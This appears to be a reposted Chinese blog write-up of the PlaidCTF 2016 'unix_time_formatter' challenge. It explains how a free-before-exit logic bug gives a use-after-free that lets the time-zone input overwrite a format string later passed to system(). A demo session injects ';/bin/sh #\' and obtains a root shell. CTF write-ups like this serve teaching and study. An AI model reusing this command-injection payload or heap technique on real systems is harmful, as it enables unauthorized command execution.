plaidctf-2016 unix_time_formatter uaf漏洞分析

源代码下载及其他writeup参考:

直接去print_time函数(自定义)查看:



在system中执行command命令,command字符串通过snprintf_chk函数拼接起来,可以百度一下这个函数的用法,注意字符串/bin/date -d @%d +'%s',按照linux 64的函数传参顺序,分别是rdi rsi rdx rcx r8 r9 然后是栈 ,所以此时%s对应第一个入栈的参数,也就是rax 也就是qword_602118,所以只要控制了qword_602118,就可以执行任意系统命令(注意闭合单引号)。

qword_602118是由函数 set_time_format控制的,所以只要控制了函数 set_time_format,就可以实现任意命令执行,但是由于函数会对用户输入的进行判断,必须符合%aAbBcCdDeFgGhHIjklmNnNpPrRsStTuUVwWxXyYzZ:-_/0^# ,不能包含单引号,所以不能直接输入任意命令。需要另外想别的办法。。。




在退出时,有个逻辑错误,先执行free函数,后询问是否退出,这样就可以在free之后不退出了,然后继续操作


然后就可以利用uaf漏洞的特点了,先调用函数set_time_format创建一个堆,然后释放它,再调用set_time_zone创建一个差不多大小的堆,这样新创建的堆就在原来set_time_format创建堆的地址处了,然后print_time就可以执行任意命令了。

演示效果如下:
root@kali:~/Desktop# ./unix_time_formatter_9a0c42cadcb931cce0f9b7a1b4037c6b
Welcome to Mary's Unix Time Formatter!
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 1
Format: %Y
Format set.
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 5
Are you sure you want to exit (y/N)? N
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 3
Time zone: ';/bin/sh #\
Time zone set.
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 4
Your formatted time is:
# id
uid=0(root) gid=0(root) groups=0(root)
#


猜你喜欢

转载自blog.csdn.net/qq_35519254/article/details/78540442